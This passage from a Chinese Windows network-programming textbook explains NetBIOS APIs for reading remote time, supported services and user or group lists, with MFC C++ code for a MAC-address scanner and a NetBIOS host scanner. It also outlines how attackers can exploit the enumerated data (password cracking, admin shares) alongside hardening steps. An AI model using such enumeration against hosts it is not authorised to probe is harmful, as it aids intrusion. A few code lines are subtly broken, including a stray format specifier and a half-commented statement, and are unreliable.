❑BufferPtr：接收远端主机的时间值，该值是字符串指针类型，所指向的是一个缓冲区，该缓冲区指向的是一个TIME_OF_DAY_INFO结构的时间表示值。该函数缓冲区在调用的时候被系统自动申请，所以在不使用的时候，应该调用NetApiBufferFree释放掉，否则会造成内存泄漏。

该函数有一个TIME_OF_DAY_INFO结构，该结构定义如下：



typedef struct_TIME_OF_DAY_INFO{

DWORD tod_elapsedt;

DWORD tod_msecs;

DWORD tod_hours;

DWORD tod_mins;

DWORD tod_secs;

DWORD tod_hunds;

LONG tod_timezone;

DWORD tod_tinterval;

DWORD tod_day;

DWORD tod_month;

DWORD tod_year;

DWORD tod_weekday;

}TIME_OF_DAY_INFO,*PTIME_OF_DAY_INFO,*LPTIME_OF_DAY_INFO;



结构成员如下：

❑tod_elapsedt：该值是一个DWORD类型变量，表示从“1970年1月1日0点0分0秒”到现在的秒数。

❑tod_msecs：该值是一个DWORD类型变量，表示从主机启动开始算起的毫秒数。tod_hours：该值是一个DWORD类型变量，表示当前的小时数。该值的取值范围是[0～23]。

❑tod_mins：该值是一个DWORD类型变量，表示当前的分钟数。该值的取值范围是[0～59]。

❑tod_secs：该值是一个DWORD类型变量，表示当前的秒数。该值的取值范围是[0～59]。

❑tod_hunds：该值是一个DWORD类型变量，表示当前的毫秒数/10。该值的步长是10毫秒，该值的取值范围是[0～99]，要转成毫秒表示，还需要将此值乘10。

❑tod_timezone：该值是一个DWORD类型变量，表示当前的时区。该值所表示的是与格林尼治（Greenwich Mean Time，GMT）相比，以分钟为单位的差值，如果此时区在格林尼治的东边12个时区以内，该值是负值；如果此时区在格式尼治的西边12个时区以内，该值为正值。如果是-1，则表示该时区未定义（格林尼治以东的时区，虽然值是负值，但由于时区比较的时候是以分钟差为单位，所以不会出现-1这个值）。处理的时候，同样要将无符号的DWORD转换为有符号的int后再处理。

❑tod_tinterval：该值是一个DWORD类型变量，表示时钟精度。每个整数代表一万分之一秒（0.0001），即该主机的每两时钟心跳的间隔是tod_tinterval/10000秒，该值越小，说明精度越高。

❑tod_day：该值是一个DWORD类型变量，表示当前的日期数。该值的取值范围是[1～31]。

❑tod_month：该值是一个DWORD类型变量，表示当前的月数。该值的取值范围是[1～12]。

❑tod_year：该值是一个DWORD类型变量，表示当前的年数。

❑tod_weekday：该值是一个DWORD类型变量，表示当前的星期数。该值的取值范围是[0～6]。需要注意的是，按中国人的理解习惯，就是当该值为0的时候，对应的是星期日，1～6对应的是星期一至星期六。

使用该函数需要注意的事项如下：

❑由于读到的时间是格林尼治时间，所以要转成中国的时间，还要加8个小时，并且在处理的时候不能简单地通过加8小时来实现，因为这样会出现大于24小时的现象。同时，在观念上，西方人习惯将周日作为一周的开始，而中国则习惯把周日作为一周的最后一天，所以在计算和显示上都需要注意。

❑该函数的执行既需要考虑当前的操作系统，也要考虑对方的操作系统，因有两个操作系统都不是Windows 95/98/Me等系列的时候，调用才能成功。

❑如果使用NetRemoteTOD函数，需要手动包含头文件include Lm.h文件，并链接静态链接库Netapi32.lib。

下面代码即实现了读取指定IP主机当前时间，并将读到的时间插入到TreeCtrl控件当前位置的功能。所读的时间是格林尼治时间，处理8个小时的时差有两种方法，一种是小时加8后再和24小时作比较。如果大于，则小时减24后进位到天，然后天再判断是否大于当月最大天数有28、29、30、31等四种可能，然后再根据天进位，考虑月，该过程相当麻烦，还要考虑月份，甚至是否润月等复杂的算法；还有一种方法就是直接使用系统提供的函数类CTimeSpan。详细参见下面的算法。



BOOL CNetBIOSScanerDlg::ReadTime(USHORT*strIP,HTREEITEM rtItem)

{

//读主机时间====================================

NET_API_STATUS nStatus;

CString strTemp;

LPTIME_OF_DAY_INFO pBuf=NULL;

nStatus=NetRemoteTOD(strIP,(LPBYTE*)＆pBuf);

if(nStatus==NERR_Success)

{

if(pBuf!=NULL)

{

CTime time(pBuf-＞tod_year,pBuf-＞tod_month,pBuf-＞tod_day,

pBuf-＞tod_hours,pBuf-＞tod_mins,pBuf-＞tod_secs);

CTimeSpan ts(0,8,0,0);

time+=ts;

strTemp.Format("当地时间：%04d-%02d-%02d%02d:%02d:%02d",

time.GetYear(),time.GetMonth(),time.GetDay(),

time.GetHour(),time.GetMinute(),time.GetSecond());

m_ctlTreeResult.InsertItem(strTemp,2,3,rtItem);

}

}

//结束时一定要释放所申请的内存，否则会造成内存泄漏

if(pBuf!=NULL)

NetApiBufferFree(pBuf);

return TRUE;

}




4.5.6　远端服务支持类型的读取

要知道远端主机都支持哪些服务，需要用到函数NetRemoteComputerSupports，该函数可以读取对方主机是否支持“远端管理协议”（Remote Administration Protocol）、远程过程调用RPC（Remote Procedure Call）等服务。该函数的结构为：



NET_API_STATUS NetRemoteComputerSupports(

LPCWSTR UncServerName,

DWORD OptionsWanted,

LPDWORD OptionsSupported

);



返回值为一个NET_API_STATUS类型的变量，该变量等价于DWORD类型，是一个4字节的无符号整数，主要有如下几个可能值：
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参数如下：

❑UncServerName：要读取服务的远端主机名，该主机名字符串格式是使用基于Unicode格式，如果读取远端主机名，则必须在主机名前加上“\\”符号；如果读取本地主机，则该值为NULL。

❑OptionsWanted：该值是DWORD类型的变量，但却是作为一个32位的位图使用，该值可以是以下一个或多个的组合：
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❑OptionsSupported：该值是一个DWORD类型的指针，指向一个DWORD类型的值，所指向的值同样是作为一个32位的位图使用，并且每一位的定义与OptinonsWanted相同。

该函数需要注意的事项参见上节读取远端主机时间中，注意事项的后两项。

下面代码即实现了根据IP地址读取远端主机的服务，并将读到的服务状态插入到TreeCtrl控件当前位置的功能。



BOOL CNetBIOSScanerDlg::ReadProtocol(USHORT*strIP,HTREEITEM rtItem)

{

NET_API_STATUS nStatus;

CString strTemp;

//远端协议========================================

DWORD OptionsWanted=SUPPORTS_REMOTE_ADMIN_PROTOCOL|

SUPPORTS_RPC|SUPPORTS_SAM_PROTOCOL|

SUPPORTS_UNICODE|SUPPORTS_LOCAL;

DWORD OptionsSupported;

LPDWORD pOptionsSupported=＆OptionsSupported;

nStatus=NetRemoteComputerSupports((USHORT*)strIP,

OptionsWanted,pOptionsSupported);

if(nStatus==NERR_Success)

{

HTREEITEM curr=m_ctlTreeResult.InsertItem("支持服务",2,3,rtItem);

if(OptionsSupported＆SUPPORTS_REMOTE_ADMIN_PROTOCOL)

{

strTemp.Format("支持远端管理");

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

}

if(OptionsSupported＆SUPPORTS_RPC)

{

strTemp.Format("支持RPC");

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

}

if(OptionsSupported＆SUPPORTS_SAM_PROTOCOL)

{

strTemp.Format("支持SAM");

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

}

if(OptionsSupported＆SUPPORTS_UNICODE)

{

strTemp.Format("支持UNICODE");

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

}

if(OptionsSupported＆SUPPORTS_LOCAL)

{

strTemp.Format("支持LOCAL");

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

}

}

return TRUE;

}




4.5.7　主机信息的读取

NetUserEnum、NetGroupEnum可以分别读取远端主机或本地主机的用户名列表、全局组列表，除此之外还有一个NetQueryDisplayInformation函数可以显示远端主机或本地主机用户名列表和全局组列表，并且可以读取主机信息。微软建议开发人员尽量使用后者。该函数的结构如下所示：



NET_API_STATUS NetQueryDisplayInformation(

LPCWSTR ServerName,

DWORD Level,

DWORD Index,

DWORD EntriesRequested,

DWORD PreferredMaximumLength,

LPDWORD ReturnedEntryCount,

PVOID*SortedBuffer

);



NetQueryDisplayInformation函数返回用户信息列表、或主机信息、或组帐户信息，调用此功能可以快速地显示出这些信息。如果对方操作系统是Windows NT，则此命令无效，如果确实需要在Windows NT及以前的操作系统中读取这些信息，则需调用LsaEnumerateTrustedDomains函数；如果是Windows 2000/XP，则要看对方是否允许匿名（Anonymous）访问，如果允许则可以查看；否则不能查看。但Windows 2000和Windows XP的区别在于，前者默认是允许查看，而后者默认是不允许查看。

返回值：如果调用成功，则返回NERR_Success或ERROR_MORE_DATA；否则返回错误码。其返回码为如下之一：
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参数如下：

❑ServerName：指向一个以NULL结束的Unicode字符串。该字符串指出远端主机名，并且主机名前以“\\”开始，如果字符串为NULL，则读取本地主机的信息。

❑Level：指出要读取信息的分类。该值应该为如下值之一。
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❑Index：如果要读的信息数组有n个（即以0～n-1作为数组的下标），则Index表示此次读取从哪一个下标开始读取。

❑EntriesRequested：每次读取的最大的个数。

❑PreferredMaximumLength：SortedBuffer缓冲区的最大长度，以字节为单位。

❑ReturnedEntryCount：SortedBuffer缓冲区中，实际返回的信息个数。如果参数为0，则说明SortedBuffer太小，不足以容下一个信息。

❑SortedBuffer：指向一个缓冲区，用于返回要读取的值。具体格式取决于Level参数。因为该参数是系统动态申请的，所以最终必须使用NetApiBufferFree功能进行释放。

NetQueryDisplayInformation函数在调用的时候，需要在Level参数中指明要读什么信息，有用户信息、主机信息、组信息三种选择，一次调用只读其中一种。无论是哪一种信息，其结果都是由NetQueryDisplayInformation函数返回一个结构，只是不同的调用，结构也不一样，下面依次介绍这三个结构。

4.5.7.1　NET_DISPLAY_USER结构



typedef struct_NET_DISPLAY_USER{

LPWSTR usri1_name;

LPWSTR usri1_comment;

DWORD usri1_flags;

LPWSTR usri1_full_name;

DWORD usri1_user_id;

DWORD usri1_next_index;

}NET_DISPLAY_USER,*PNET_DISPLAY_USER;

NET_DISPLAY_USER结构包含可访问的用户帐户信息。



结构成员如下：

❑usri1_name：指向一个Unicode用户名字符串。

❑usri1_comment：指向一个Unicode字符串，该串是对用户名的注释。该串可以为空，也可以是一个MAXCOMMENTSZ（等于256字节）以内的，以NULL结尾的字符串。

❑usri1_flags：当前用户的标志，该特征参考4.5.2.2节中同名用户标志。

❑usri1_full_name：指向一个包含用户全名的Unicode字符串，该串可以为空串，也可是一个以NULL为结束的字符串。

❑usri1_user_id：用户的ID值。

❑usri1_next_index：从第几个用户名开始读取。

4.5.7.2　NET_DISPLAY_MACHINE结构



typedef struct_NET_DISPLAY_MACHINE{

LPWSTR usri2_name;

LPWSTR usri2_comment;

DWORD usri2_flags;

DWORD usri2_user_id;

DWORD usri2_next_index;

}NET_DISPLAY_MACHINE,*PNET_DISPLAY_MACHINE;



NET_DISPLAY_MACHINE结构包含可访问的主机信息。

结构成员如下：

❑usri2_name：指向一个Unicode主机名字符串。

❑usri2_comment：指向一个Unicode字符串，该串是对主机名的注释。该串可以为空，也可以是一个以NULL结尾的字符串。

❑usri2_flags：参见上一小节usri1_flags。

❑usri2_user_id：主机名的ID值。

❑usri2_next_index：从第几个主机名开始读取。

4.5.7.3　NET_DISPLAY_GROUP结构



typedef struct_NET_DISPLAY_GROUP{

LPWSTR grpi3_name;

LPWSTR grpi3_comment;

DWORD grpi3_group_id;

DWORD grpi3_attributes;

DWORD grpi3_next_index;

}NET_DISPLAY_GROUP,*PNET_DISPLAY_GROUP;



NET_DISPLAY_GROUP结构包含可访问的组信息。

结构成员如下：

❑grpi3_name：指向一个Unicode组名字符串。

❑grpi3_comment：指向一个Unicode字符串，该串是对组名的注释。该串可以为空，也可以是一个以NULL结尾的字符串。

❑grpi3_group_id：组名的ID值。

❑grpi3_attributes：定义的组的属性列表。在Windows NT/2000中，不再使用这些属性。

❑grpi3_next_index：从第几个用户组名开始读取。

由于NetQueryDisplayInformation函数也涉及大量内容的动态申请，因此用完以后，临时申请的内存要用NetApiBufferFree释放掉，否则会造成内存泄露。并且，该函数的访问，需要包含头文件Lmaccess.h。


4.6　NetBIOS的安全性

仅从NetBIOS协议所能读取的内容，足见其在网络安全中重要地位，这些可被读到的内容无疑是重要信息。利用这些信息，对方可以做：

❑利用查找到的共享资源中可写的文件夹中上传文件，从可读写的文件夹中下载文件。

❑利用扫到的用户名，配以密码进行破解。

❑如果破解了管理员级的密码，则可以通过“\\对方IP\C$”（或D$、E$等）的方式访问对方磁盘所有文件，如同访问本机文件夹一样。

❑如果远端主机支持远程桌面，则可能通过远程桌面客户端直接访问对方的桌面，如同访问本机桌面一样。

要避免上述的NetBIOS安全，通常需要对操作系统中多种环境进行设置，方法如下。

1.通过关闭文件夹或打印机共享进行限制

要关闭文件夹共享，只需在资源管理器中，找到共享的文件夹名，右击文件夹名，在弹出的菜单中选“属性”菜单，就如弹出如图4.8所示的对话框。在“共享”选项卡中单击“不共享此文件夹”，则可以关闭此文件夹的共享。
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图　4.8　文件夹共享对话框

2.通过TCP/IP筛选进行限制

要进行TCP/IP的筛选，可参照本章4.1节的描述进展到图4.3，关注第四个选项卡“选项”，单击“属性”按钮进入“TCP/IP筛选”窗口，在这里输入允许的端口或IP，即可进行筛选，如图4.9所示。
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图　4.9　“TCP/IP筛选”配置对话框

3.配置安全策略阻止未授权的用户访问

要配置安全策略，可以通过“开始→控制面板→管理工具→本地安全策略”打开“本地安全设置”窗口，在这里，有很多与安全策略相关的安全选项，如图4.10、图4.11、图4.12所示。
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图　4.10　“本地安全设置”的“用户权利指派”窗口

[image: ]


图　4.11　“本地安全设置”的“安全选项”窗口
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图　4.12　“本地安全设置”的“IP安全策略，在本地计算机”窗口

由于本章一直强调的一个问题，就是很多在Windows NT架构操作系统（Windows NT/2000/2003）上扫描效果很好的扫描器，在Windows XP上扫描效果并不好，这是因为在NetBIOS配置上，后者的默认配置相比前者要严格得多。

4.停止Server服务

对于大多数用户，使用电脑大部分都是向服务器请求服务，很少提供服务，这种情况下，关掉本机不需要的服务并不会影响本机向服务器请求服务，但这时却会大大增加自身安全性。

选择“开始→控制面板→管理工具→服务”，会弹出当前所有服务（包括正在运行的和未运行的服务）。关闭某个服务，该服务所用的端口也就被关闭了，黑客的攻击也就无从谈起。当然，并不是每一个服务都能被关闭或启动，并且关闭了某个服务，自然也就不能使用该功能。有时，错误地关闭不该关闭的服务，不仅可能造成同时关闭了其他服务，也会导致很多相关的服务无法启动，而且有可能会产生更严重的漏洞，因此关闭某个服务之前，需要知道该服务的确切意义才能操作。

5.使用防火墙防范攻击

自Windows 2000/XP以后，Windows操作系统都自带一个防火墙软件，通过该软件的配置，也可以达到防止攻击的目的。Windows自带防火墙的配置是基于网卡的，所以在桌面右击“网上邻居”，在弹出的菜单中选“属性”菜单项，在防火墙中也可以设置阻止其他机器使用本机共享。要在防火墙中配置安全规则，首先进入“控制面板”，在弹出的“控制面板”窗口中，双击“Windows防火墙”图标，就会弹出“Windows防火墙”对话框，在该对话框中，有“常规”、“例外”、“高级”三个选项卡，单击“高级”选项卡，弹出如图6.8所示的窗口，详见第6章的6.5“ICMP扫描的安全性”一节。在“Windows防火墙”的“高级”选项卡中，界面自上至下分为四个分组，其中第一个分组是“网络连接设置”，要进行网络连接规则配置，则单击这个分组中的“设置”按钮，即弹出如图4.13所示的对话框。
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图　4.13　“Windows防火墙”的“高级设置”对话框

“服务”选项卡列出了当前主机上正在运行或可以运行的服务列表，如果指定运行某一个服务，则可以单击该行前面的复选框，使之处于选中状态。（图中"ICMP"选项卡的描述详见第6章的6.4节中各种ICMP协议数据包的内容。）


4.7　编程实例：反“IP欺骗”——MAC地址扫描器的设计

在多台主机的环境中（如网吧、学生机房），私自修改IP地址等现象经常出现。一旦有人修改后的IP占用了别人的IP，当被占IP的主机开启后，就会因IP重复而出现“IP冲突”，而当出现IP冲突的时候，则通常是采用“先占先得”的原则。这样一来，后来者由于上不了网而无法通过网络通知前者或网管，通常的作法只能是再改另一个IP，通过别的渠道寻找使用自己IP的人，通知其不再使用自己的IP地址。其实如果没有合适的办法，即使是网管，也没有太好的办法，因而经常听某管理员大喊“谁在用某某IP地址”。

虽然改IP的人不一定是为了通过新的IP地址隐瞒自己的身份，但这种行为很像故意用假IP欺骗对方，所以统称为“IP欺骗”。


 4.7.1　反“IP欺骗”的原理

要解决“IP欺骗”的问题并不难，因为一个网卡除了可以有一个IP地址之外，还有一个MAC地址。IP地址容易修改，但MAC地址则不容易修改，既然这样，不妨从MAC地址入手。

解决方法为：

1）通过MAC地址扫描，可以建立一个“全网IP-MAC-注释”地址对照表。

2）当某一个主机修改了IP地址由A到B，则通过扫描新IP：B可以查到该IP地址所对应的MAC地址。

3）根据之前建立的“全网IP-MAC-注释”地址对照表，可以根据查到的MAC地址反查到此IP：B原本的IP应该是IP：A。

上述的“注释”只是为了看着方便，既可以是主机名，也可以是使用此主机的用户名，或是该主机的物理位置。


4.7.2　MAC地址扫描器的主界面

图4.14是MAC地址扫描器的主界面。单击“开始扫描”按钮，系统就会自动扫描由“开始IP”到“结束IP”范围内所有IP地址、MAC地址、主机名，并将扫描到的数据分别填入列表的"IP"列、"MAC"列和“主机名”列中。

[image: ]


图　4.14　MAC地址扫描器主界面


4.7.3　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为ReadMAC。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.在文件的前面加入必要的声明、定义



//定义列表显示的内容

#define LIST_RESULT_INDEX 0

#define LIST_RESULT_IP 1

#define LIST_RESULT_STATUS 2

#define LIST_RESULT_MAC 3

#define LIST_RESULT_NAME 4

#define LIST_RESULT_COMMENT 5

//包含必要的头文件和静态链接库

#include＜stdio.h＞

#include＜lm.h＞

#include"IPHlpApi.h"

#include＜winsock2.h＞

#pragma comment(lib,"ws2_32")

#pragma comment(lib,"Mpr.lib")

#pragma comment(lib,"IPHlpApi.Lib")

#pragma comment(lib,"Netapi32.lib")

struct ThreadParamStruct

{

UCHAR a,b,c,d;//IP地址的四个分项

int index;//索引号

CReadMACDlg*hwnd;

}ThreadParam;

UINT MyThread(LPVOID pParam);

BOOL g_bRunning;

BOOL g_bInserting;



3.程序主要代码



BOOL CReadMACDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

//进行必要的初始化操作，主要是列表的完成

m_ctlListResult.InsertColumn(LIST_RESULT_INDEX,"序号",LVCFMT_LEFT,40);

m_ctlListResult.InsertColumn(LIST_RESULT_IP,"IP",LVCFMT_LEFT,110);

m_ctlListResult.InsertColumn(LIST_RESULT_STATUS,"状态",LVCFMT_LEFT,80);

m_ctlListResult.InsertColumn(LIST_RESULT_MAC,"MAC",LVCFMT_LEFT,115);

m_ctlListResult.InsertColumn(LIST_RESULT_NAME,"主机名",LVCFMT_LEFT,100);

m_ctlListResult.InsertColumn(LIST_RESULT_COMMENT,"注释",LVCFMT_LEFT,100);

m_ctlListResult.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES);

//Socket 2的初始化

WSADATA wsaData;

WORD version=MAKEWORD(2,0);

int ret=WSAStartup(version,＆wsaData);

if(ret!=0)

{

MessageBox("套接字Socket初始化错误!\n","出错提示",MB_OK);

OnOK();

}

//读取界面各参数的初始化值

char buff[MAX_PATH];

GetPrivateProfileString("Init","BeginIP","192.168.0.1",buff,MAX_PATH,INIFILENAME);

m_ctlIPBegin.SetWindowText(buff);

GetPrivateProfileString("Init","EndIP","192.168.0.254",buff,MAX_PATH,INIFILENAME);

m_ctlIPEnd.SetWindowText(buff);

ReadCompareFromINI();

UpdateData(FALSE);

return TRUE;

}



完成扫描不同MAC值的，仍然是采用多线程的方式，由每一个线程完成一个MAC地址的扫描。



void CReadMACDlg::OnBUTTONStart()

{

UpdateData(TRUE);

GetDlgItem(IDC_BUTTON_Start)-＞EnableWindow(FALSE);

//读取IP地址范围

m_ctlIPBegin.GetAddress(a1,b1,c1,d1);

d1--;//下面直接调用NextIP函数，该函数会首先d1++

//创建所需要的线程

CString strTemp;

int iNum=0;

m_ctlListResult.DeleteAllItems();

g_bRunning=TRUE;

while(NextIP()＆＆(g_bRunning))

{

ThreadParam.a=a1;

ThreadParam.b=b1;

ThreadParam.c=c1;

ThreadParam.d=d1;

ThreadParam.hwnd=this;

ThreadParam.index=iNum;//索引号

AfxBeginThread(MyThread,＆ThreadParam,THREAD_PRIORITY_IDLE);

Sleep(50);

strTemp.Format("%d",iNum+1);

m_ctlListResult.InsertItem(iNum,strTemp);

strTemp.Format("%d.%d.%d.%d",a1,b1,c1,d1);

DoEvent("正在扫描主机:"+strTemp);

m_ctlListResult.SetItemText(iNum,LIST_RESULT_IP,strTemp);

strTemp.Format("正在扫描中...");

m_ctlListResult.SetItemText(iNum,LIST_RESULT_STATUS,strTemp);

iNum++;

}

GetDlgItem(IDC_BUTTON_Start)-＞EnableWindow(TRUE);

}

//结束扫描线程，主要是完成两个操作，一个是停止线程，二是使扫描按钮有效

void CReadMACDlg::OnBUTTONStop()

{

GetDlgItem(IDC_BUTTON_Start)-＞EnableWindow(TRUE);

g_bRunning=FALSE;

}



读取当前IP地址的下一个IP地址，除了这种自己编写函数的方式，还有一种方式就是将IP字符串转变成一个整数（详见第2章的2.2.5节），然后整数加1即为下一个IP地址。本书中，大部分章节采用后一种方法，两种方式各有利弊。如后一种不能避免一些不合适的IP地址，例如末位为255的不是正常的主机IP地址，而是用于广播，但通过整数加1的方法无法避免，而本处的自编函数的方式可以跳过这种不合适的IP地址。



BOOL CReadMACDlg::NextIP()

{

if(!g_bRunning)

return FALSE;

UCHAR a2,b2,c2,d2;

m_ctlIPEnd.GetAddress(a2,b2,c2,d2);

d1++;

if(d1＞=255)

{

d1=1;

c1++;

}

if(c1＞=255)

{

c1=0;

b1++;

}

if(b1＞=255)

{

b1=0;

a1++;

}

if(a1＞a2||(a1==a2＆＆b1＞b2)||(a1==a2＆＆b1==b2＆＆c1＞c2)

||(a1==a2＆＆b1==b2＆＆c1==c2＆＆d1＞d2))

return FALSE;

else

return TRUE;

}



扫描线程，由于要结合程序应用，所以下面程序就不仅仅是扫描MAC地址了。根据程序的需要，下面主要完成MAC地址的读取，在预读的列表中查找读取的MAC地址是否有注释，读取主机名，显示读取结果等几步。



UINT MyThread(LPVOID pParam)

{

ThreadParamStruct*threadparam=(ThreadParamStruct*)pParam;

CReadMACDlg*dlg=threadparam-＞hwnd;

CListCtrl*pList=＆dlg-＞m_ctlListResult;

int index=threadparam-＞index;

CString strHostIP;

CString strHostMAC;

CString strHostName;

CString strHostComment;

CString strStatus="扫描结束。";//先假设扫描顺利

strHostIP.Format("%d.%d.%d.%d",threadparam-＞a,

threadparam-＞b,threadparam-＞c,threadparam-＞d);

//读取MAC地址

UNIONIP unIPAddr;

unIPAddr.iIP=inet_addr(strHostIP);

UCHAR Mac[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};

PULONG pMac=(PULONG)Mac;

ULONG Len=6;

HRESULT hr=SendARP(unIPAddr.iIP,0,pMac,＆Len);

if(hr==0)

strHostMAC.Format("%02X-%02X-%02X-%02X-%02X-%02X%d",

Mac[0],Mac[1],Mac[2],Mac[3],Mac[4],Mac[5]);

//查找该MAC地址是否有注释

if(strHostMAC!="")

{

for(int i=0;i＜dlg-＞m_iCompareNum;i++)

{

if(strHostMAC==dlg-＞m_strMAC[i])

{

strHostComment=dlg-＞m_strName[i];

break;

}

}

}

//如果扫描成功，则读一下主机名，这样做的目的是便于快速定位到是哪台主机修改了IP

if(!g_bRunning)

strStatus="扫描中断。";

{

struct hostent*pHost;

struct in_addr addr;

addr.s_addr=inet_addr(strHostIP);

pHost=gethostbyaddr((char*)＆addr,sizeof(addr),AF_INET);

if(pHost!=NULL)

strHostName=pHost-＞h_name;

strHostName.MakeLower();

}

while(g_bInserting)

Sleep(100);

//处理结果，将扫描到的MAC地址显示出来

g_bInserting=TRUE;

pList-＞SetItemText(index,LIST_RESULT_STATUS,strStatus);

pList-＞SetItemText(index,LIST_RESULT_MAC,strHostMAC);

pList-＞SetItemText(index,LIST_RESULT_NAME,strHostName);

pList-＞SetItemText(index,LIST_RESULT_COMMENT,strHostComment);

g_bInserting=FALSE;

return 0;

}

void CReadMACDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

//if(MessageBox("该操作是无法恢复的操作，是否继续？","操作提示",

MB_OKCANCEL|MB_ICONQUESTION|MB_DEFBUTTON2)==IDOK)

UpdateData(TRUE);

UCHAR a,b,c,d;

CString strTemp;

m_ctlIPBegin.GetAddress(a,b,c,d);

strTemp.Format("%d.%d.%d.%d",a,b,c,d);

WritePrivateProfileString("Init","BeginIP",strTemp,INIFILENAME);

m_ctlIPEnd.GetAddress(a,b,c,d);

strTemp.Format("%d.%d.%d.%d",a,b,c,d);

WritePrivateProfileString("Init","EndIP",strTemp,INIFILENAME);

CDialog::OnCancel();

}

void CReadMACDlg::ReadCompareFromINI()

{

CString strTemp;

char buff[MAX_PATH];

m_iCompareNum=GetPrivateProfileInt("Comment","Count",0,INIFILENAME);

if(m_iCompareNum＞=MAXNUMMAC)

m_iCompareNum=MAXNUMMAC;

for(int i=0;i＜m_iCompareNum;i++)

{

strTemp.Format("MAC%d",i+1);

GetPrivateProfileString("Comment",strTemp,"",buff,MAX_PATH,INIFILENAME);

m_strMAC[i].Format("%s",buff);

strTemp.Format("Name%d",i+1);

GetPrivateProfileString("Comment",strTemp,"",buff,MAX_PATH,INIFILENAME);

m_strName[i].Format("%s",buff);

if((m_strMAC[i]=="")||(m_strName[i]==""))

{

m_iCompareNum=i;

break;

}

}

}



删除以后，由于是涉及表格内部位置的调整，因此，这里采用的是多轮删除的办法，即可以避免删除不当导致出错，也避免了漏删，当然效率并不是很高。



void CReadMACDlg::OnBUTTONDelUnSuccess()

{

BOOL bGoOn=TRUE;

while(bGoOn)

{

bGoOn=FALSE;//假设本轮没有一个删除

int num=m_ctlListResult.GetItemCount();

for(int i=num-1;i＞=0;i--)

{

if((m_ctlListResult.GetItemText(i,LIST_RESULT_MAC)=="")＆＆

(m_ctlListResult.GetItemText(i,LIST_RESULT_NAME)==""))

{//从前面开始，将要删除的，并且连续的若干个全部删除

m_ctlListResult.DeleteItem(i);

bGoOn=TRUE;

}

else

{/*遇到不需要删除的有两种可能：如果之前已经删除则要重新开始；如果之前没有删除过，则跳过转向处理下一个*/

if(bGoOn)

break;

}//if...

}//for(int i...

}//while

}




4.8　编程实例：NetBIOS的通用扫描器

NetBIOS扫描器指的是通过NetBIOS协议对远端主机进行信息扫描，这需要通信的双方都安装并正确地配置了NetBIOS协议。如前所述，NetBIOS本身并不是一个广域网中的协议，但为了使其能应用于互联网上，Microsoft特对NetBIOS进行了进行TCP/IP移植，即NBT，并对其中大量功能进行了API封装，因此仅从函数上，有很多并不能看出来是基于NBT协议的。

相对于其他的扫描器，NetBIOS扫描器并不难。因为它不像其他扫描器一样，通常都是由一系列连续的API进行调用，并且每一步的结果都是下一步调用的前提。而NetBIOS每个功能都是独立的一个API，只要能成功地调用该API，就成功了一半。但要想成功地调用每个API函数并不是件容易的事，因为每个函数不仅参数多，而且各参数之间还有相关性。

使用NetBIOS扫描器需要注意以下两点：

1）NetBIOS扫描器中的每一个函数并不完全是基于NetBIOS协议的，只是感觉其功能相近，所以也一起做到该扫描器里。

2）当前的个人用户，大多使用的是Windows XP操作系统。考虑了个人用户中，大多使用者对Windows操作系统的配置并没有深入的了解，所以Microsoft在Windows XP默认的配置中，并没有全面开放NetBIOS，因此很多NetBIOS扫描项并不能达到预期的效果。


 4.8.1　程序主界面

根据上述分析，可以做一个界面，如图4.15所示。
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图　4.15　NetBIOS扫描器

这个界面相对简单，单击“开始扫描”按钮，系统则会自动读取“IP地址”文本框中所指定的IP地址的主机各项参数，并将参数显示到下面树形控件中。


4.8.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为NetBIOSScaner。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.在文件的前面加入必要的声明、定义

在StdAfx.h中定义多个文件都要用到的常量。



#include＜winsock2.h＞

#pragma comment(lib,"ws2_32.lib")

#pragma comment(lib,"netapi32.lib")

#include"IPHlpApi.h"

#pragma comment(lib,"IPHlpApi.Lib")

#include＜lm.h＞

#include＜Winnetwk.h＞

#pragma comment(lib,"Mpr.Lib")

#define INIFILENAME".\\NetBIOSScaner.ini"

#define SV_TYPE_TERMINALSERVER 0x2000000

#define LIST_IP_INDEX 0

#define LIST_IP_IP 1

#define LIST_IP_HOSTNAME 2

#define LIST_IP_ALIASES 3



3.程序主要代码



BOOL CNetBIOSScanerDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

WSADATA wsaData;

WORD version=MAKEWORD(2,0);

int ret=WSAStartup(version,＆wsaData);

if(ret!=0)

{

MessageBox("套接字Socket初始化错误!\n","出错提示",MB_OK);

return FALSE;

}

//读取界面的参数

char buff[MAX_PATH];

GetPrivateProfileString("Init","IP","127.0.0.1",buff,MAX_PATH,INIFILENAME);

m_strIP.Format("%s",buff);

m_ctlTreeResult.SetImageList(＆m_ctlImageList,TVSIL_NORMAL);

UpdateData(FALSE);

return TRUE;

}

void CNetBIOSScanerDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

if(MessageBox("确实要退出吗？","操作提示",MB_OKCANCEL|MB_ICONQUESTION|

MB_DEFBUTTON2)==IDOK)

{

//保存参数

UpdateData(TRUE);

WritePrivateProfileString("Init","IP",m_strIP,INIFILENAME);

CDialog::OnCancel();

}

}

BOOL CNetBIOSScanerDlg::ReadHostname(CString strIP,HTREEITEM rtItem){

//读主机名===============================

BOOL bConnectSuccess=FALSE;

CString strTemp;

struct hostent*pHost;

struct in_addr addr;

addr.s_addr=inet_addr(strIP);

pHost=gethostbyaddr((char*)＆addr,sizeof(addr),AF_INET);

if(pHost!=NULL)

{

strTemp.Format("主机名：%s",pHost-＞h_name);

m_ctlTreeResult.InsertItem(strTemp,2,3,rtItem);

bConnectSuccess=TRUE;

}

return bConnectSuccess;

}

void CNetBIOSScanerDlg::OnBUTTONRead()

{

UpdateData(TRUE);

CString strTemp;

